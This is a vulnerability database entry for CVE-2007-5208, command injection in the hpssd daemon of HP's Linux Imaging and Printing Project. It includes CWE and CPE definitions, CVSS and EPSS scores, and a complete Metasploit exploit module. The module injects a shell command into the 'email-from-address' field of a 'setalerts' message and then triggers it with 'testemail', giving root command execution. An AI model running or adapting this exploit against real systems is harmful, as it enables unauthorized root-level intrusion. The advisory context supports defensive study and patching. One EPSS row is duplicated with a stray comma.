CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
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hpssd in Hewlett-Packard Linux Imaging and Printing Project (hplip) 1.x and 2.x before 2.7.10 allows context-dependent attackers to execute arbitrary commands via shell metacharacters in a from address, which is not properly handled when invoking sendmail.
Improper Input Validation The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.6
AV:N/AC:H/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
81.84%
–
–
2022-04-03
–
–
81.84%
–
–
2023-03-12
–
–
–
25.9%
–
2023-03-19
–
–
–
23.23%
–
2023-04-23
–
–
–
21.02%
–
2023-05-28
–
–
–
21.83%
–
2024-03-17
–
–
–
22.32%
–
2024-06-02
–
–
–
22.32%
–
2024-06-16
–
–
–
22.32%
–
2024-07-14
–
–
–
20.28%
–
2024-08-25
–
–
–
37.42%
–
2024-09-29
–
–
–
44.09%
–
2024-12-08
–
–
–
44.09%
–
2024-12-22
–
–
–
65.61%
–
2025-01-19
–
–
–
65.61%
–
2025-03-18
–
–
–
–
75.45%
2025-03-30
–
–
–
–
73.52%
2025-03-30
–
–
–
–
73.52,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
##
# $Id: hplip_hpssd_exec.rb 10617 2010-10-09 06:55:52Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'hplip hpssd.py From Address Arbitrary Command Execution',
'Description' => %q{
This module exploits a command execution vulnerable in the hpssd.py
daemon of the Hewlett-Packard Linux Imaging and Printing Project.
According to MITRE, versions 1.x and 2.x before 2.7.10 are vulnerable.
This module was written and tested using the Fedora 6 Linux distribution.
On the test system, the daemon listens on localhost only and runs with
root privileges. Although the configuration shows the daemon is to
listen on port 2207, it actually listens on a dynamic port.
NOTE: If the target system does not have a 'sendmail' command installed,
this vulnerability cannot be exploited.
},
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 10617 $',
'References' =>
[
[ 'CVE', '2007-5208' ],
[ 'OSVDB', '41693' ],
[ 'BID', '26054' ],
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=319921' ],
[ 'URL', 'https://bugzilla.redhat.com/attachment.cgi?id=217201&action=edit' ]
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => true,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
# *_perl and *_ruby work if they are installed
# inetd isn't used on FC6/7 (xinetd is)
# netcat doesn't have -e by default
}
},
'Targets' =>
[
[ 'Automatic (hplip-1.6.7-4.i386.rpm)', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 04 2007'
))
register_options(
[
Opt::RPORT(2207),
], self.class)
end
def exploit
connect
#cmd = "nohup " + payload.encoded
cmd = payload.encoded
username = 'root'
toaddr = 'nosuchuser'
# first setalerts
print_status("Sending 'setalerts' request with encoded command line...")
msg = "username=#{username}\n" +
"email-alerts=1\n" +
#"email-from-address=`#{cmd}`\n" +
"email-from-address=x;#{cmd};\n" +
"email-to-addresses=#{toaddr}\n" +
"msg=setalerts\n"
sock.put(msg)
# next, the test email command
print_status("Sending 'testemail' request to trigger execution...")
msg = "msg=testemail\n"
sock.put(msg)
end
end
Products Mentioned
Configuraton 0
Hp>>Linux_imaging_and_printing_project >> Version To (including) 2.7.10